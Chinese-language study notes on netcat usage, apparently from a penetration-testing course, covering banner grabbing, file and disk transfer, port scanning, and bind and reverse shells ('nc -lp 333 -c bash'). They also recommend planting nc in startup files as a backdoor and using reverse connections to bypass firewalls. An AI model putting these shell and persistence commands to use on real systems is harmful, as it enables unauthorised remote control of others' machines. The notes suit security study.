建立啦nc之后 被控的可以是服务器端 也可以是客户端 双向
服务器端 一端有人连接到服务器 既通过nc将服务器端的bash shell 发送给客户端
init 重启
留后门的思路 一般来说 防火墙会禁止从开启其他端口 容许外界连接 而可以通过反向的方法 绕开防火墙 实现远超出控制
建立啦nc之后 被控的可以是服务器端 也可以是客户端 双向
服务器端 一端有人连接到服务器 既通过nc将服务器端的bash shell 发送给客户端
init 重启
留后门的思路 一般来说 防火墙会禁止从开启其他端口 容许外界连接 而可以通过反向的方法 绕开防火墙 实现远超出控制
bash:linux下sh
客户端或者服务器端打开bash任意一个在它的之前的命令后加 -c bash 谁加这个参数谁就是被控制端(windows系统为 -c cmd)
服务器端 nc -lp 333 -c bash 被控制端
客户端 nc -nv 1.1.1.1 333 控制端
-c bash 跟对方建立自己的shell连接 即成为被控制端
一般侦听端口的为服务器端
远程控制
nc + 管道命令
nc -lp port -c bash
nc ipaddress port
一定程度上替代ssh
NC远程控制: //一定程度上代替ssh
正向:(被控者监听端口)
A:nc -lp 333 -c bash //使shell位于监听端口处
B:nc 1.1.1.1 333
反向:(被控者对外访问)
A:nc -lp 333
B:nc 1.1.1.1 333 -c bash
远程控制对方机器后,可以把nc启动写成脚本放入开机启动文件(开后门),这样即使对方修复了漏洞,也能操控对方的系统。
通常防火墙不会禁止从内向外的访问端口,或者常用端口,此时可用nc控制
如果企业使用专门的服务器作为常用端口服务器,而跑业务的服务器禁止所有端口,则难攻破。
windows下使用cmd作为shell
NC
侦听模式/传输模式
telnet / 获取banner信息
nc -nv 1.1.1.1 110 (pop3)
nc -nv 1.1.1.1 25 (smtp)
nc -nv 1.1.1.1 80
-v:显示相关的详细链接信息
-n:加ip地址时不进行dns解析
传输文本信息
A:nc -l -p 4444
B:nc -nv 1.1.1.1 4444
-l:listen,打开监听一个端口
-p:指定开放端口号
-q:nc完就断开连接
A: nc -l -p 333 > ps.txt
B: ps aux | nc -nv AIP -q 1
传输文件/目录
传输文件:
A: nc -l -p 333 > 1.map4
B: nc -nv AIP 333 < 1.mp4 -q 1
或
A: nc -l -p 333 < a.mp4 -q 1
B: nc -nv AIP 333 > b.mp4
>: 表示接收方
<: 表示发送方
传输目录:
A: tar -cvf - music/ | nc -lp 333 -q 1
B: nc -nv AIP 333 | tar -xvf -
先把目录打包,在放到nc的管道中
加密传输文件
A: nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
B: mcrypt --flush -Fbq -a rijndael-356 -m ecb < a.mp4 | nc -nv AIP 333 -q 1
远程控制/木马
正向:
A: nc -lp 333 -c bash
B: nc 1.1.1.1 333
反向:
A: nc -lp 333
B: nc 1.1.1.1 333 -c bash
注:Windows用户把bash改成cmd
加密所有流量
流媒体服务器
server: cat 1.mp4 | nc -lp 333
client: nc -nv serverIP 333 | mplayer -vo x11 -cache 3000 -
远程克隆硬盘
A: nc -lp 333 | dd of=/dev/sda
B: dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1
端口扫描
nc -nvz 1.1.1.1 1-65535
nc-vnzu 1.1.1.1 1-1024
-z: 扫描模式
-u; 探测所有udp端口